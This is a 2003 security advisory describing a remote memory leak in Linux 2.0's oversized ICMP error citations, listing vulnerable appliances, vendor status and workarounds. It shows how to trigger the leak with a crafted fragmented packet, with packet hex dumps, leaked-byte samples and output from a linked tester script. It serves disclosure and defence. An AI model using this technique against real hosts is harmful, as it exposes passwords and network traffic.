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Linux 2.0 remote info leak from too big icmp citation

From: Philippe Biondi <biondi(at)cartel-securite.fr>
Date: Tue Jun 10 2003 - 11:30:01 EDT

               Cartel Sécurité --- Security Advisory

Advisory Number: CARTSA-20030314 

Subject:         Linux 2.0 remote info leak from too big icmp citation
Author:		 Philippe Biondi 
Discovered:      March 14, 2003
Published:       June 9, 2003

CERT reference: VU#471084 (http://www.kb.cert.org/vuls/id/471084)

You can use this URL to link this document : http://www.cartel-securite.fr/pbiondi/adv/CARTSA-20030314-icmpleak.txt

Problem description

There is a bug in the way linux 2.0 kernel IP stack computes the size of an ICMP citation for almost every ICMP errors. This leads to too much data being sent on the network, coming from anywhere in the memory.

This is a very important leak. Experiments show that even passwords can be stolen. Moreover, you can do this from anywere on the internet, as soon as you can send IP packets to the vulnerable host (except special firewalling).

The typical case is when you use a linux 2.0 box (or, more probably, any appliance that uses it) as a masquerading gateway for internet and DMZ. In this configuration, the gateway can be used to leak potentially all your traffic from your LAN, even your POP passwords for the mail server in the DMZ.

Do you need help?X

Vulnerable products

Any 2.0 linux kernel before 2.0.39 (2.0.39 included) Watchguard Firebox II

Any appliance (firewall, proxy, etc.) that uses linux 2.0 <= 2.0.39

A tester can be found here (no guarantee though) : http://www.cartel-securite.fr/pbiondi/python/icmpleaktest.py

Vulnerable:
# ./icmpleaktest.py 192.168.11.2
Packet sent. Answer should take 31s. Interrupt with C-c Got '\x95\x03\x1a\x10Ji\xfb\xba\xd0\xc5Q\x14\x877\xbd\x8a;\xb3^\x7f'

Not vulnerable:
# ./icmpleaktest.py 172.16.1.40
Packet sent. Answer should take 31s. Interrupt with C-c Got ''

Vendor status

Linux 2.0.40 should be out soon.
Watchguard said updated releases will follow.

Do you need more help?X

These vendors said they are not vulnerable :
* Netscreen

  • Symantec
  • Novell
  • Clavister
  • Ingrian
  • StoneSoft
  • Sun

Solutions

Workarounds

No good workarrounds. But you can at least carefully try these :
* truncate ICMP errors at the RFC limit,

  • filter out icmp errors

Example

We can send an IP packet with the MF flag :

15:41:05 192.168.0.12.80 > 192.168.0.10.80: udp 4 (frag 52007:12@0+) 

0x0000   4500 0020 cb27 2000 4011 0e3f c0a8 000c        E....'..@..?....
0x0010   c0a8 000a 0050 0050 000c cd1e 5858 5858        .....P.P....XXXX

we wait 30s for the reassembly to timeout :

Can we help you?X

15:41:35 192.168.0.10 > 192.168.0.12: icmp: ip reassembly time exceeded [tos 0xc0] 

0x0000   45c0 0050 dcca 0000 4001 1bbc c0a8 000a        E..P....@.......
0x0010   c0a8 000c 0b01 aa24 0000 0000 4500 0020        .......$....E...
0x0020   cb27 2000 4011 0e3f c0a8 000c c0a8 000a        .'..@..?........
0x0030   0050 0050 000c cd1e 5858 5858                  .P.P....XXXX
                                       0050 0050                    .P.P
0x0040   000c cd1e 5858 5858 207b 2d68 0000 0000        ....XXXX.{-h....

Bytes at offsets 0x3c to 0x4f are bonus. It works with every ICMP errors except the port unreachable error. It is possible to increase the size of data leaked by adding IP options.

Examples of bonus bytes : 

98 EA CD 03 10 58 CD 03 31 32 33 34 AA FF 55 00   .....X..1234..U.
98 86 0C 03 98 EC CD 03 10 58 CD 03 00 00 00 00   .........X......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
58 EE CD 03 98 86 0C 03 98 EE CD 03 10 58 CD 03   X............X..
69 6E 66 6F 72 6D 61 74 69 6F 6E 00 4D 49 4E 46 information.MINF 
00 00 00 00 00 00 00 00 AA FF 55 00 90 88 CC 03   ..........U.....
00 50 00 50 00 0C CD 1E 58 58 58 58 00 00 00 00   .P.P....XXXX....
2E 30 2E 25 75 2E 69 6E 2D 61 64 64 72 2E 61 72   .0.%u.in-addr.ar
90 12 CC 03 00 00 00 00 98 C0 B5 02 00 00 00 00   ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
43 5F 4D 4F 4E 45 54 41 52 59 00 4C 43 5F 43 4F   C_MONETARY.LC_CO
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
90 E2 CA 03 00 00 00 00 98 A0 CC 03 00 00 00 00   ................
00 50 00 50 00 0C CD 1E 58 58 58 58 00 00 00 00   .P.P....XXXX....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00 00 00 00 18 5F FF 00 00 00 00 00 14 00 00 00   ....._..........

Can't find what you're looking for?X

73 69 6E 6C 00 2E 67 6E 75 2E 77 61 72 6E 69 6E   sinl..gnu.warnin
70 9E 09 40 60 9E 09 40 E0 9A 08 40 A0 9F 08 40   p..@`..@...@...@
68 01 00 00 41 46 00 00 67 01 00 00 41 4C 00 00   h...AF..g...AL..
FF FF FF FF FF FF FF FF E2 00 00 00 4A 00 00 00 ............J... 61 67 65 2D 72 65 74 75 72 6E 00 53 49 00 53 4F age-return.SI.SO 
61 73 68 00 7A 65 72 6F 00 6F 6E 65 00 74 77 6F   ash.zero.one.two
0D 00 00 00 01 00 00 00 0E 00 00 00 01 00 00 00   ................
01 00 00 00 2D 00 00 00 01 00 00 00 2E 00 00 00   ....-...........
4C 00 00 00 01 00 00 00 4D 00 00 00 01 00 00 00   L.......M.......
01 00 00 00 6C 00 00 00 01 00 00 00 6D 00 00 00   ....l.......m...
4C 43 5F 41 4C 4C 00 4C 43 5F 4D 45 53 53 41 47 LC_ALL.LC_MESSAG

Copyright (c) Cartel Sécurité
This document is copyrighted. It can't be edited nor republished without explicit consent of Cartel Sécurité. For more informations, feel free to contact us. http://www.cartel-securite.fr/
-- 
Philippe Biondi  Cartel Sécurité
Security Consultant/R&D                      
http://www.cartel-securite.fr
Phone: +33 1 44 06 97 94                     Fax: +33 1 44 06 97 99
PGP KeyID:3D9A43E2  FingerPrint:C40A772533730E39330DC0985EE8FF5F3D9A43E2
Received on Tue Jun 10 16:56:48 2003

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